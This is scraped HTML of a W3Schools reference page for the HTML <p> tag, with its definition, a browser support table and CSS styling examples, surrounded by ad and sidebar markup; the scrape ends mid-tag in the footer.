<a target="_top" href="tag_figcaption.asp">&lt;figcaption&gt;</a> <a target="_top" href="tag_figure.asp">&lt;figure&gt;</a> <a target="_top" href="tag_font.asp">&lt;font&gt;</a> <a target="_top" href="tag_footer.asp">&lt;footer&gt;</a> <a target="_top" href="tag_form.asp">&lt;form&gt;</a> <a target="_top" href="tag_frame.asp">&lt;frame&gt;</a> <a target="_top" href="tag_frameset.asp">&lt;frameset&gt;</a> <a target="_top" href="tag_hn.asp">&lt;h1&gt; - &lt;h6&gt;</a> <a target="_top" href="tag_head.asp">&lt;head&gt;</a> <a target="_top" href="tag_header.asp">&lt;header&gt;</a> <a target="_top" href="tag_hr.asp">&lt;hr&gt;</a> <a target="_top" href="tag_html.asp">&lt;html&gt;</a> <a target="_top" href="tag_i.asp">&lt;i&gt;</a> <a target="_top" href="tag_iframe.asp">&lt;iframe&gt;</a> <a target="_top" href="tag_img.asp">&lt;img&gt;</a> <a target="_top" href="tag_input.asp">&lt;input&gt;</a> <a target="_top" href="tag_ins.asp">&lt;ins&gt;</a> <a target="_top" href="tag_kbd.asp">&lt;kbd&gt;</a> <a target="_top" href="tag_label.asp">&lt;label&gt;</a> <a target="_top" href="tag_legend.asp">&lt;legend&gt;</a> <a target="_top" href="tag_li.asp">&lt;li&gt;</a> <a target="_top" href="tag_link.asp">&lt;link&gt;</a> <a target="_top" href="tag_main.asp">&lt;main&gt;</a> <a target="_top" href="tag_map.asp">&lt;map&gt;</a> <a target="_top" href="tag_mark.asp">&lt;mark&gt;</a> <a target="_top" href="tag_meta.asp">&lt;meta&gt;</a> <a target="_top" href="tag_meter.asp">&lt;meter&gt;</a> <a target="_top" href="tag_nav.asp">&lt;nav&gt;</a> <a target="_top" href="tag_noframes.asp">&lt;noframes&gt;</a> <a target="_top" href="tag_noscript.asp">&lt;noscript&gt;</a> <a target="_top" href="tag_object.asp">&lt;object&gt;</a> <a target="_top" href="tag_ol.asp">&lt;ol&gt;</a> <a target="_top" href="tag_optgroup.asp">&lt;optgroup&gt;</a> <a target="_top" href="tag_option.asp">&lt;option&gt;</a> <a target="_top" href="tag_output.asp">&lt;output&gt;</a> <a target="_top" href="tag_p.asp" class="active">&lt;p&gt;</a> <a target="_top" href="tag_param.asp">&lt;param&gt;</a> <a target="_top" href="tag_picture.asp">&lt;picture&gt;</a> <a target="_top" href="tag_pre.asp">&lt;pre&gt;</a> <a target="_top" href="tag_progress.asp">&lt;progress&gt;</a> <a target="_top" href="tag_q.asp">&lt;q&gt;</a> <a target="_top" href="tag_rp.asp">&lt;rp&gt;</a> <a target="_top" href="tag_rt.asp">&lt;rt&gt;</a> <a target="_top" href="tag_ruby.asp">&lt;ruby&gt;</a> <a target="_top" href="tag_s.asp">&lt;s&gt;</a> <a target="_top" href="tag_samp.asp">&lt;samp&gt;</a> <a target="_top" href="tag_script.asp">&lt;script&gt;</a> <a target="_top" href="tag_section.asp">&lt;section&gt;</a> <a target="_top" href="tag_select.asp">&lt;select&gt;</a> <a target="_top" href="tag_small.asp">&lt;small&gt;</a> <a target="_top" href="tag_source.asp">&lt;source&gt;</a> <a target="_top" href="tag_span.asp">&lt;span&gt;</a> <a target="_top" href="tag_strike.asp">&lt;strike&gt;</a> <a target="_top" href="tag_strong.asp">&lt;strong&gt;</a> <a target="_top" href="tag_style.asp">&lt;style&gt;</a> <a target="_top" href="tag_sub.asp">&lt;sub&gt;</a> <a target="_top" href="tag_summary.asp">&lt;summary&gt;</a> <a target="_top" href="tag_sup.asp">&lt;sup&gt;</a> <a target="_top" href="tag_svg.asp">&lt;svg&gt;</a> <a target="_top" href="tag_table.asp">&lt;table&gt;</a> <a target="_top" href="tag_tbody.asp">&lt;tbody&gt;</a> <a target="_top" href="tag_td.asp">&lt;td&gt;</a> <a target="_top" href="tag_template.asp">&lt;template&gt;</a> <a target="_top" href="tag_textarea.asp">&lt;textarea&gt;</a> <a target="_top" href="tag_tfoot.asp">&lt;tfoot&gt;</a> <a target="_top" href="tag_th.asp">&lt;th&gt;</a> <a target="_top" href="tag_thead.asp">&lt;thead&gt;</a> <a target="_top" href="tag_time.asp">&lt;time&gt;</a> <a target="_top" href="tag_title.asp">&lt;title&gt;</a> <a target="_top" href="tag_tr.asp">&lt;tr&gt;</a> <a target="_top" href="tag_track.asp">&lt;track&gt;</a> <a target="_top" href="tag_tt.asp">&lt;tt&gt;</a> <a target="_top" href="tag_u.asp">&lt;u&gt;</a> <a target="_top" href="tag_ul.asp">&lt;ul&gt;</a> <a target="_top" href="tag_var.asp">&lt;var&gt;</a> <a target="_top" href="tag_video.asp">&lt;video&gt;</a> <a target="_top" href="tag_wbr.asp">&lt;wbr&gt;</a> </div> <br><br> </div> </div> </div> <div class="w3-main w3-light-grey" id="belowtopnav" style="margin-left: 220px; padding-top: 44px;"> <div class="w3-row w3-white"> <div class="w3-col l10 m12" id="main"> <div id="mainLeaderboard" style="overflow:hidden;"> <!-- MainLeaderboard--> <!--<pre>main_leaderboard, all: [728,90][970,90][320,50][468,60]</pre>--> <div id="adngin-main_leaderboard-0" data-google-query-id="CJPA_sueqvcCFXiOSwUd2fYBLg"><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//main_leaderboard_1" title="3rd party ad content" width="728" height="90" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="7" style="border: 0px; vertical-align: bottom;" data-load-complete="true"><div style="position: absolute; width: 0px; height: 0px; border: 0px; padding: 0px; margin: 0px; overflow: hidden;"><button></button><a href="https://yahoo.com"></a><input></div></iframe></div></div> <!-- adspace leaderboard --> </div> <h1>HTML <span class="color_h1">&lt;p&gt;</span> Tag</h1> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <br> <div class="w3-example"> <h3>Example</h3> <p>A paragraph is marked up as follows:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs1" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <p>More "Try it Yourself" examples below.</p> <hr> <h2>Definition and Usage</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag defines a paragraph.</p> <p>Browsers automatically add a single blank line before and after each <code class="w3-codespan">&lt;p&gt;</code> element.</p> <p><strong>Tip:</strong> Use CSS to <a href="/html/html_css.asp">style paragraphs</a>.</p> <hr> <h2>Browser Support</h2> <table class="browserref notranslate"> <tbody><tr> <th style="width:20%;font-size:16px;text-align:left;">Element</th> <th style="width:16%;" class="bsChrome" title="Chrome"></th> <th style="width:16%;" class="bsEdge" title="Internet Explorer / Edge"></th> <th style="width:16%;" class="bsFirefox" title="Firefox"></th> <th style="width:16%;" class="bsSafari" title="Safari"></th> <th style="width:16%;" class="bsOpera" title="Opera"></th> </tr><tr> <td style="text-align:left;">&lt;p&gt;</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> <td>Yes</td> </tr> </tbody></table> <hr> <h2>Global Attributes</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag also supports the <a href="ref_standardattributes.asp">Global Attributes in HTML</a>.</p> <hr> <h2>Event Attributes</h2> <p>The <code class="w3-codespan">&lt;p&gt;</code> tag also supports the <a href="ref_eventattributes.asp">Event Attributes in HTML</a>.</p> <hr> <div id="midcontentadcontainer" style="overflow:auto;text-align:center"> <!-- MidContent --> <!-- <p class="adtext">Advertisement</p> --> <div id="adngin-mid_content-0" data-google-query-id="CKfs_8ueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-mid_content-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1__container__" style="border: 0pt none; display: inline-block; width: 300px; height: 250px;"><iframe frameborder="0" src="https://56d0da6c34aaa471db22bb4266aac656.safeframe.googlesyndication.com/safeframe/1-0-38/html/container.html" id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//mid_content_1" title="3rd party ad content" name="" scrolling="no" marginwidth="0" marginheight="0" width="300" height="250" data-is-safeframe="true" sandbox="allow-forms allow-popups allow-popups-to-escape-sandbox allow-same-origin allow-scripts allow-top-navigation-by-user-activation" role="region" aria-label="Advertisement" tabindex="0" data-google-container-id="8" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> <hr> <h2>More Examples</h2> <div class="w3-example"> <h3>Example</h3> <p>Align text in a paragraph (with CSS):</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="attributecolor" style="color:red"> style<span class="attributevaluecolor" style="color:mediumblue">="text-align:right"</span></span><span class="tagcolor" style="color:mediumblue">&gt;</span></span>This is some text in a paragraph.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_align_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Style paragraphs with CSS:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>html<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>head<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>style<span class="tagcolor" style="color:mediumblue">&gt;</span></span><span class="cssselectorcolor" style="color:brown"><br>p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br>&nbsp; color<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> navy<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; text-indent<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 30px<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; text-transform<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> uppercase<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span><br></span><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/style<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/head<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>body<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span>Lorem ipsum dolor sit amet, consectetur adipiscing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.<span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/body<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/html<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_style_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>&nbsp;More on paragraphs:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br>This paragraph<br>contains a lot of lines<br>in the source code,<br> but the browser <br>ignores it.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_paragraphs2" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <div class="w3-example"> <h3>Example</h3> <p>Poem problems in HTML:</p> <div class="w3-code notranslate htmlHigh"> <span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>p<span class="tagcolor" style="color:mediumblue">&gt;</span></span><br>My Bonnie lies over the ocean.<br>My Bonnie lies over the sea.<br>My Bonnie lies over the ocean.<br>Oh, bring back my Bonnie to me.<br><span class="tagnamecolor" style="color:brown"><span class="tagcolor" style="color:mediumblue">&lt;</span>/p<span class="tagcolor" style="color:mediumblue">&gt;</span></span> </div> <a target="_blank" href="tryit.asp?filename=tryhtml_poem" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <hr> <h2>Related Pages</h2> <p>HTML tutorial: <a href="/html/html_paragraphs.asp">HTML Paragraphs</a></p> <p>HTML DOM reference: <a href="/jsref/dom_obj_paragraph.asp">Paragraph Object</a></p> <hr> <h2>Default CSS Settings</h2> <p>Most browsers will display the <code class="w3-codespan">&lt;p&gt;</code> element with the following default values:</p> <div class="w3-example"> <h3>Example</h3> <div class="w3-code notranslate cssHigh"><span class="cssselectorcolor" style="color:brown"> p <span class="cssdelimitercolor" style="color:black">{</span><span class="csspropertycolor" style="color:red"><br>&nbsp; display<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> block<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-top<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-bottom<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 1em<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp; margin-left<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br>&nbsp;&nbsp;margin-right<span class="csspropertyvaluecolor" style="color:mediumblue"><span class="cssdelimitercolor" style="color:black">:</span> 0<span class="cssdelimitercolor" style="color:black">;</span></span><br></span><span class="cssdelimitercolor" style="color:black">}</span> </span></div> <a target="_blank" href="tryit.asp?filename=tryhtml_p_default_css" class="w3-btn w3-margin-bottom">Try it Yourself »</a> </div> <br> <br> <div class="w3-clear w3-center nextprev"> <a class="w3-left w3-btn" href="tag_output.asp">❮<span class="w3-hide-small"> Previous</span></a> <a class="w3-btn" href="default.asp"><span class="w3-hide-small">Complete HTML </span>Reference</a> <a class="w3-right w3-btn" href="tag_param.asp"><span class="w3-hide-small">Next </span>❯</a> </div> <div id="mypagediv2" style="position:relative;text-align:center;"></div> <br> </div> <div class="w3-col l2 m12" id="right"> <div class="sidesection"> <div id="skyscraper"> <div id="adngin-sidebar_top-0" data-google-query-id="CJXA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-sidebar_top-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" name="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//wide_skyscraper_1" title="3rd party ad content" width="320" height="50" scrolling="no" marginwidth="0" marginheight="0" frameborder="0" role="region" aria-label="Advertisement" tabindex="0" srcdoc="" data-google-container-id="9" style="border: 0px; vertical-align: bottom;" data-load-complete="true"></iframe></div></div> </div> </div> <style> .ribbon-vid { font-size:12px; font-weight:bold; padding: 6px 20px; left:-20px; top:-10px; text-align: center; color:black; border-radius:25px; } </style> <div class="sidesection" id="video_sidesection"> <div class="w3-center" style="padding-bottom:7px"> <span class="ribbon-vid ws-yellow">NEW</span> </div> <p style="font-size: 14px;line-height: 1.5;font-family: Source Sans Pro;padding-left:4px;padding-right:4px;">We just launched<br>W3Schools videos</p> <a onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php" class="w3-hover-opacity"><img src="/images/htmlvideoad_footer.png" style="max-width:100%;padding:5px 10px 25px 10px" loading="lazy"></a> <a class="ws-button" style="font-size:16px;text-decoration: none !important;display: block !important; color:#FFC0C7!important; width: 100%; border-bottom-left-radius: 5px; border-bottom-right-radius: 5px; paxdding-top: 10px; padding-bottom: 20px; font-family: 'Source Sans Pro', sans-serif; text-align: center;" onclick="ga('send', 'event', 'Videos' , 'fromSidebar');" href="https://www.w3schools.com/videos/index.php">Explore now</a> </div> <div class="sidesection"> <h4><a href="/colors/colors_picker.asp">COLOR PICKER</a></h4> <a href="/colors/colors_picker.asp"> <img src="/images/colorpicker2000.png" alt="colorpicker" loading="lazy"> </a> </div> <div class="sidesection"> <!--<h4>LIKE US</h4>--> <div class="sharethis" style="visibility: visible;"> <a href="https://www.facebook.com/w3schoolscom/" target="_blank" title="Facebook"><span class="fa fa-facebook-square fa-2x"></span></a> <a href="https://www.instagram.com/w3schools.com_official/" target="_blank" title="Instagram"><span class="fa fa-instagram fa-2x"></span></a> <a href="https://www.linkedin.com/company/w3schools.com/" target="_blank" title="LinkedIn"><span class="fa fa-linkedin-square fa-2x"></span></a> <a href="https://discord.gg/6Z7UaRbUQM" target="_blank" title="Join the W3schools community on Discord"><span class="fa fa-discord fa-2x"></span></a> </div> </div> <!-- <div class="sidesection" style="border-radius:5px;color:#555;padding-top:1px;padding-bottom:8px;margin-left:auto;margin-right:auto;max-width:230px;background-color:#d4edda"> <p>Get your<br>certification today!</p> <a href="/cert/default.asp" target="_blank"> <img src="/images/w3certified_logo_250.png" style="margin:0 12px 20px 10px;max-width:80%"> </a> <a class="w3-btn w3-margin-bottom" style="text-decoration:none;border-radius:5px;" href="/cert/default.asp" target="_blank">View options</a> </div> --> <style> #courses_get_started_btn { text-decoration:none !important; background-color:#04AA6D; width:100%; border-bottom-left-radius:5px; border-bottom-right-radius:5px; padding-top:10px; padding-bottom:10px; font-family: 'Source Sans Pro', sans-serif; } #courses_get_started_btn:hover { background-color:#059862!important; } </style> <div id="internalCourses" class="sidesection"> <p style="font-size:18px;padding-left:2px;padding-right:2px;">Get certified<br>by completing<br>a course today!</p> <a href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');"> <div style="padding:0 20px 20px 20px"> <svg id="w3_cert_badge2" style="margin:auto;width:85%" data-name="w3_cert_badge2" xmlns="http://www.w3.org/2000/svg" viewBox="0 0 300 300"><defs><style>.cls-1{fill:#04aa6b;}.cls-2{font-size:23px;}.cls-2,.cls-3,.cls-4{fill:#fff;}.cls-2,.cls-3{font-family:RobotoMono-Medium, Roboto Mono;font-weight:500;}.cls-3{font-size:20.08px;}</style></defs><circle class="cls-1" cx="150" cy="150" r="146.47" transform="translate(-62.13 150) rotate(-45)"></circle><text class="cls-2" transform="translate(93.54 63.89) rotate(-29.5)">w</text><text class="cls-2" transform="translate(107.13 56.35) rotate(-20.8)">3</text><text class="cls-2" transform="matrix(0.98, -0.21, 0.21, 0.98, 121.68, 50.97)">s</text><text class="cls-2" transform="translate(136.89 47.84) rotate(-3.47)">c</text><text class="cls-2" transform="translate(152.39 47.03) rotate(5.12)">h</text><text class="cls-2" transform="translate(167.85 48.54) rotate(13.72)">o</text><text class="cls-2" transform="translate(182.89 52.35) rotate(22.34)">o</text><text class="cls-2" transform="matrix(0.86, 0.52, -0.52, 0.86, 197.18, 58.36)">l</text><text class="cls-2" transform="matrix(0.77, 0.64, -0.64, 0.77, 210.4, 66.46)">s</text><text class="cls-3" transform="translate(35.51 186.66) rotate(69.37)"> </text><text class="cls-3" transform="matrix(0.47, 0.88, -0.88, 0.47, 41.27, 201.28)">C</text><text class="cls-3" transform="matrix(0.58, 0.81, -0.81, 0.58, 48.91, 215.03)">E</text><text class="cls-3" transform="matrix(0.67, 0.74, -0.74, 0.67, 58.13, 227.36)">R</text><text class="cls-3" transform="translate(69.16 238.92) rotate(39.44)">T</text><text class="cls-3" transform="matrix(0.85, 0.53, -0.53, 0.85, 81.47, 248.73)">I</text><text class="cls-3" transform="translate(94.94 256.83) rotate(24.36)">F</text><text class="cls-3" transform="translate(109.34 263.09) rotate(16.83)">I</text><text class="cls-3" transform="translate(124.46 267.41) rotate(9.34)">E</text><text class="cls-3" transform="translate(139.99 269.73) rotate(1.88)">D</text><text class="cls-3" transform="translate(155.7 270.01) rotate(-5.58)"> </text><text class="cls-3" transform="translate(171.32 268.24) rotate(-13.06)"> </text><text class="cls-2" transform="translate(187.55 266.81) rotate(-21.04)">.</text><text class="cls-3" transform="translate(203.27 257.7) rotate(-29.24)"> </text><text class="cls-3" transform="translate(216.84 249.83) rotate(-36.75)"> </text><text class="cls-3" transform="translate(229.26 240.26) rotate(-44.15)">2</text><text class="cls-3" transform="translate(240.39 229.13) rotate(-51.62)">0</text><text class="cls-3" transform="translate(249.97 216.63) rotate(-59.17)">2</text><text class="cls-3" transform="matrix(0.4, -0.92, 0.92, 0.4, 257.81, 203.04)">2</text><path class="cls-4" d="M196.64,136.31s3.53,3.8,8.5,3.8c3.9,0,6.75-2.37,6.75-5.59,0-4-3.64-5.81-8-5.81h-2.59l-1.53-3.48,6.86-8.13a34.07,34.07,0,0,1,2.7-2.85s-1.11,0-3.33,0H194.79v-5.86H217.7v4.28l-9.19,10.61c5.18.74,10.24,4.43,10.24,10.92s-4.85,12.3-13.19,12.3a17.36,17.36,0,0,1-12.41-5Z"></path><path class="cls-4" d="M152,144.24l30.24,53.86,14.94-26.61L168.6,120.63H135.36l-13.78,24.53-13.77-24.53H77.93l43.5,77.46.15-.28.16.28Z"></path></svg> </div> </a> <a class="w3-btn" id="courses_get_started_btn" href="https://courses.w3schools.com" target="_blank" onclick="ga('send', 'event', 'Courses' , 'Clicked on courses banner in ads column');">Get started</a> </div> <!-- <div class="sidesection" style="margin-left:auto;margin-right:auto;max-width:230px"> <a href="https://shop.w3schools.com/" target="_blank" title="Buy W3Schools Merchandize"> <img src="/images/tshirt.jpg" style="max-width:100%;"> </a> </div> --> <div class="sidesection" id="moreAboutSubject"> </div> <!-- <div id="sidesection_exercise" class="sidesection" style="background-color:#555555;max-width:200px;margin:auto;margin-bottom:32px"> <div class="w3-container w3-text-white"> <h4>Exercises</h4> </div> <div> <div class="w3-light-grey"> <a target="_blank" href="/html/exercise.asp" style="padding-top:8px">HTML</a> <a target="_blank" href="/css/exercise.asp">CSS</a> <a target="_blank" href="/js/exercise_js.asp">JavaScript</a> <a target="_blank" href="/sql/exercise.asp">SQL</a> <a target="_blank" href="/php/exercise.asp">PHP</a> <a target="_blank" href="/python/exercise.asp">Python</a> <a target="_blank" href="/bootstrap/exercise_bs3.asp">Bootstrap</a> <a target="_blank" href="/jquery/exercise_jq.asp" style="padding-bottom:8px">jQuery</a> </div> </div> </div> --> <div class="sidesection codegameright ws-turquoise" style="font-size:18px;font-family: 'Source Sans Pro', sans-serif;border-radius:5px;color:#FFC0C7;padding-top:12px;margin-left:auto;margin-right:auto;max-width:230px;"> <style> .codegameright .w3-btn:link,.codegameright .w3-btn:visited { background-color:#04AA6D; border-radius:5px; } .codegameright .w3-btn:hover,.codegameright .w3-btn:active { background-color:#059862!important; text-decoration:none!important; } </style> <h4><a href="/codegame/index.html" class="w3-hover-text-black">CODE GAME</a></h4> <a href="/codegame/index.html" target="_blank" class="w3-hover-opacity"><img style="max-width:100%;margin:16px 0;" src="/images/w3lynx_200.png" alt="Code Game" loading="lazy"></a> <a class="w3-btn w3-block ws-black" href="/codegame/index.html" target="_blank" style="padding-top:10px;padding-bottom:10px;margin-top:12px;border-top-left-radius: 0;border-top-right-radius: 0">Play Game</a> </div> <!-- <div class="sidesection w3-light-grey" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container w3-dark-grey"> <h4><a href="/howto/default.asp" class="w3-hover-text-white">HOW TO</a></h4> </div> <div class="w3-container w3-left-align w3-padding-16"> <a href="/howto/howto_js_tabs.asp">Tabs</a><br> <a href="/howto/howto_css_dropdown.asp">Dropdowns</a><br> <a href="/howto/howto_js_accordion.asp">Accordions</a><br> <a href="/howto/howto_js_sidenav.asp">Side Navigation</a><br> <a href="/howto/howto_js_topnav.asp">Top Navigation</a><br> <a href="/howto/howto_css_modals.asp">Modal Boxes</a><br> <a href="/howto/howto_js_progressbar.asp">Progress Bars</a><br> <a href="/howto/howto_css_parallax.asp">Parallax</a><br> <a href="/howto/howto_css_login_form.asp">Login Form</a><br> <a href="/howto/howto_html_include.asp">HTML Includes</a><br> <a href="/howto/howto_google_maps.asp">Google Maps</a><br> <a href="/howto/howto_js_rangeslider.asp">Range Sliders</a><br> <a href="/howto/howto_css_tooltip.asp">Tooltips</a><br> <a href="/howto/howto_js_slideshow.asp">Slideshow</a><br> <a href="/howto/howto_js_sort_list.asp">Sort List</a><br> </div> </div> --> <!-- <div class="sidesection w3-round" style="margin-left:auto;margin-right:auto;max-width:230px"> <div class="w3-container ws-black" style="border-top-right-radius:5px;border-top-left-radius:5px;"> <h5><a href="/cert/default.asp" class="w3-hover-text-white">Certificates</a></h5> </div> <div class="w3-border" style="border-bottom-right-radius:5px;border-bottom-left-radius:5px;"> <a href="/cert/cert_html.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">HTML</a> <a href="/cert/cert_css.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">CSS</a> <a href="/cert/cert_javascript.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">JavaScript</a> <a href="/cert/cert_frontend.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Front End</a> <a href="/cert/cert_python.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">Python</a> <a href="/cert/cert_sql.asp" class="w3-button ws-grey w3-block w3-border-bottom" style="text-decoration:none">SQL</a> <a href="/cert/default.asp" class="w3-button ws-grey w3-block" style="text-decoration:none;">And more</a> </div> </div> --> <div id="stickypos" class="sidesection" style="text-align:center;position:sticky;top:50px;"> <div id="stickyadcontainer" style="width: 653.984px;"> <div style="position:relative;margin:auto;"> <div id="adngin-sidebar_sticky-0-stickypointer" style=""><div id="adngin-sidebar_sticky-0" style=""><div id="sn_ad_label_adngin-sidebar_sticky-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div></div></div> <script> function secondSnigel() { if(window.adngin && window.adngin.adnginLoaderReady) { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } } else { window.addEventListener('adnginLoaderReady', function() { if (Number(w3_getStyleValue(document.getElementById("main"), "height").replace("px", "")) > 2200) { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky", "mid_content" ]); }); } else { adngin.queue.push(function(){ adngin.cmd.startAuction(["sidebar_sticky"]); }); } } else { if (document.getElementById("adngin-mid_content-0")) { adngin.queue.push(function(){ adngin.cmd.startAuction(["mid_content"]); }); } } }); } } </script> </div> </div> </div> <script> uic_r_c() </script> </div> </div> <div id="footer" class="footer w3-container w3-white"> <hr> <div style="overflow:auto"> <div class="bottomad"> <!-- BottomMediumRectangle --> <!--<pre>bottom_medium_rectangle, all: [970,250][300,250][336,280]</pre>--> <div id="adngin-bottom_left-0" style="padding:0 10px 10px 0;float:left;width:auto;" data-google-query-id="CJbA_sueqvcCFXiOSwUd2fYBLg"><div id="sn_ad_label_adngin-bottom_left-0" class="sn_ad_label" style="color:#000000;font-size:12px;margin:0;text-align:center;">ADVERTISEMENT</div><div id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1__container__" style="border: 0pt none;"><iframe id="google_ads_iframe_/22152718,16833175/sws-hb//w3schools.com//bottom_medium_rectangle_1" 